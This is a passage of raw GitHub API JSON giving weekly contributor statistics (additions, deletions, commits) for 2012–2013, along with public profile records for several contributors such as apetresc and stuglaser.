,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"lwc","id":336402,"avatar_url":"https://2.gravatar.com/avatar/79df912986253edb50f9b077acd5acf9?d=https%3A%2F%2Fidenticons.github.com%2Fa054ef59f502a7fc072a1a8b88192445.png&r=x","gravatar_id":"79df912986253edb50f9b077acd5acf9","url":"https://api.github.com/users/lwc","html_url":"https://github.com/lwc","followers_url":"https://api.github.com/users/lwc/followers","following_url":"https://api.github.com/users/lwc/following{/other_user}","gists_url":"https://api.github.com/users/lwc/gists{/gist_id}","starred_url":"https://api.github.com/users/lwc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lwc/subscriptions","organizations_url":"https://api.github.com/users/lwc/orgs","repos_url":"https://api.github.com/users/lwc/repos","events_url":"https://api.github.com/users/lwc/events{/privacy}","received_events_url":"https://api.github.com/users/lwc/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":9,"d":1,"c":1},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"apetresc","id":14872,"avatar_url":"https://0.gravatar.com/avatar/c796928dba8bb5d8ceba76855cb46099?d=https%3A%2F%2Fidenticons.github.com%2Fa598e7d200bf02558d5534839884b7a3.png&r=x","gravatar_id":"c796928dba8bb5d8ceba76855cb46099","url":"https://api.github.com/users/apetresc","html_url":"https://github.com/apetresc","followers_url":"https://api.github.com/users/apetresc/followers","following_url":"https://api.github.com/users/apetresc/following{/other_user}","gists_url":"https://api.github.com/users/apetresc/gists{/gist_id}","starred_url":"https://api.github.com/users/apetresc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/apetresc/subscriptions","organizations_url":"https://api.github.com/users/apetresc/orgs","repos_url":"https://api.github.com/users/apetresc/repos","events_url":"https://api.github.com/users/apetresc/events{/privacy}","received_events_url":"https://api.github.com/users/apetresc/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":42,"d":3,"c":1},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"edjackson","id":2752732,"avatar_url":"https://2.gravatar.com/avatar/1f28c4efde1b232eb624193219c6930f?d=https%3A%2F%2Fidenticons.github.com%2Fd6a7cd545081cfd413da4aa0fafda306.png&r=x","gravatar_id":"1f28c4efde1b232eb624193219c6930f","url":"https://api.github.com/users/edjackson","html_url":"https://github.com/edjackson","followers_url":"https://api.github.com/users/edjackson/followers","following_url":"https://api.github.com/users/edjackson/following{/other_user}","gists_url":"https://api.github.com/users/edjackson/gists{/gist_id}","starred_url":"https://api.github.com/users/edjackson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edjackson/subscriptions","organizations_url":"https://api.github.com/users/edjackson/orgs","repos_url":"https://api.github.com/users/edjackson/repos","events_url":"https://api.github.com/users/edjackson/events{/privacy}","received_events_url":"https://api.github.com/users/edjackson/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":6,"d":2,"c":1},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"fixxxeruk","id":1074943,"avatar_url":"https://identicons.github.com/a0df2de6aa9611601a9cc439a3305245.png","gravatar_id":null,"url":"https://api.github.com/users/fixxxeruk","html_url":"https://github.com/fixxxeruk","followers_url":"https://api.github.com/users/fixxxeruk/followers","following_url":"https://api.github.com/users/fixxxeruk/following{/other_user}","gists_url":"https://api.github.com/users/fixxxeruk/gists{/gist_id}","starred_url":"https://api.github.com/users/fixxxeruk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fixxxeruk/subscriptions","organizations_url":"https://api.github.com/users/fixxxeruk/orgs","repos_url":"https://api.github.com/users/fixxxeruk/repos","events_url":"https://api.github.com/users/fixxxeruk/events{/privacy}","received_events_url":"https://api.github.com/users/fixxxeruk/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":1,"d":1,"c":1},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"llimllib","id":7150,"avatar_url":"https://2.gravatar.com/avatar/aa7c1350d93036592f58f165318044db?d=https%3A%2F%2Fidenticons.github.com%2Fc20bb2d9a50d5ac1f713f8b34d9aac5a.png&r=x","gravatar_id":"aa7c1350d93036592f58f165318044db","url":"https://api.github.com/users/llimllib","html_url":"https://github.com/llimllib","followers_url":"https://api.github.com/users/llimllib/followers","following_url":"https://api.github.com/users/llimllib/following{/other_user}","gists_url":"https://api.github.com/users/llimllib/gists{/gist_id}","starred_url":"https://api.github.com/users/llimllib/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/llimllib/subscriptions","organizations_url":"https://api.github.com/users/llimllib/orgs","repos_url":"https://api.github.com/users/llimllib/repos","events_url":"https://api.github.com/users/llimllib/events{/privacy}","received_events_url":"https://api.github.com/users/llimllib/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":17,"d":1,"c":1},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"stuglaser","id":1527117,"avatar_url":"https://0.gravatar.com/avatar/d808e9e590dd10c4346e52f9f91e33ca?d=https%3A%2F%2Fidenticons.github.com%2F599a371cf4949ff27b92e70a859cc80d.png&r=x","gravatar_id":"d808e9e590dd10c4346e52f9f91e33ca","url":"https://api.github.com/users/stuglaser","html_url":"https://github.com/stuglaser","followers_url":"https://api.github.com/users/stuglaser/followers","following_url":"https://api.github.com/users/stuglaser/following{/other_user}","gists_url":"https://api.github.com/users/stuglaser/gists{/gist_id}","starred_url":"https://api.github.com/users/stuglaser/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stuglaser/subscriptions","organizations_url":"https://api.github.com/users/stuglaser/orgs","repos_url":"https://api.github.com/users/stuglaser/repos","events_url":"https://api.github.com/users/stuglaser/events{/privacy}","received_events_url":"https://api.github.com/users/stuglaser/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"